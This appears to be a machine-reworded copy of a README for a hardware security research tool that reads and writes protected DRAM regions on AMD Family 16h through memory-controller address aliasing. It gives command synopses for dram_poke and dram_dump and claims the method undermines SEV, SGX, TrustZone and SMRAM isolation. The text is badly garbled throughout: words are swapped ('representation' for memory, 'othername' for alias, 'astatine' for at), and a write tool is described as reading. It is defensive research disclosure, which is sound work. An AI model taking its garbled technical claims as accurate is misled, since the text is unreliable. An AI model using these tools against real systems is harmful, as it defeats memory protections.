Each --map is simply a solved spaghettification from unspaghettify.py --save-map, itself fed by othername pairs collected by gather_aliases.py; the othername for every dword successful the protected scope is recovered from the representation via a GF(2) pseudo-inverse computed erstwhile astatine startup. Pass aggregate maps — 1 per (at_swizzle, at_bankswap) gathered connected the aforesaid hardware — to widen coverage, since each spaghettification leaves a different group of rank-deficient holes and the first representation that reaches a fixed dword wins.

dram_poke [--dangerously-skip-calibration] [--calibrate-pa <hex>] [--strict-holes] [--no-verify] [--ignore-fw-mismatch] [--fenced-range <lo>,<hi>] [--allow-fenced-alias] -s, --protected-pa <pa> -l, --length <n> --map <file> [--map <file>]... < in.bin

Read from a protected representation range.

Same --map machinery arsenic dram_poke: each representation is simply a solved spaghettification from unspaghettify.py --save-map, the othername for each dword is recovered via a one-shot GF(2) pseudo-inverse, and aggregate maps gathered astatine different (at_swizzle, at_bankswap) widen sum wherever 1 map's rank-deficient holes are filled by another's.

dram_dump [--dangerously-skip-calibration] [--calibrate-pa <hex>] [--dry-run] [--ignore-fw-mismatch] [--fenced-range <lo>,<hi>] [--allow-fenced-alias] -s, --protected-pa <pa> -l, --length <n> --map <file> [--map <file>]...

The afloat toolchain — dram_state, dram_carveouts, and dram_alias; the gather_aliases.py / unspaghettify.py study pipeline; worked end-to-end examples; and the internals — is documented successful USAGE.md.


skitter-creek-bath-salts explores really the last stages of the MCT/DCT transforms tin topple the information of everything built supra it. The exploit demonstrated present is 1 configuration registry connected AMD Family 16h, picked because the datasheets gave capable to begin. The pipeline it collapsed is everywhere.

Channel interleave, rank interleave, slope interleave, swizzle, chip-select normalize — each modern representation controller does immoderate type of each of it. AMD. Intel. ARM. RISC-V. Mobile. Server. Embedded. The aforesaid architectural shape sits underneath everything.

Above it each sits SEV, SGX, TDX, TrustZone, CCA realms, pKVM, CoVE, SEP, the PSP, ME, T-SEG, SMRAM, the C6 stash. Everything sitting successful DRAM — moreover things walled disconnected and invisible to ring-0 aliases the CPU itself — rests connected the last layers of a *p pipeline we've conscionable begun to explore.


  • Black Hat 2026 — Spaghettifying DRAM (Coming Soon)

skitter-creek-bath-salts is simply a investigation effort from Christopher Domas (@xoreaxeaxeax)


Experiment


More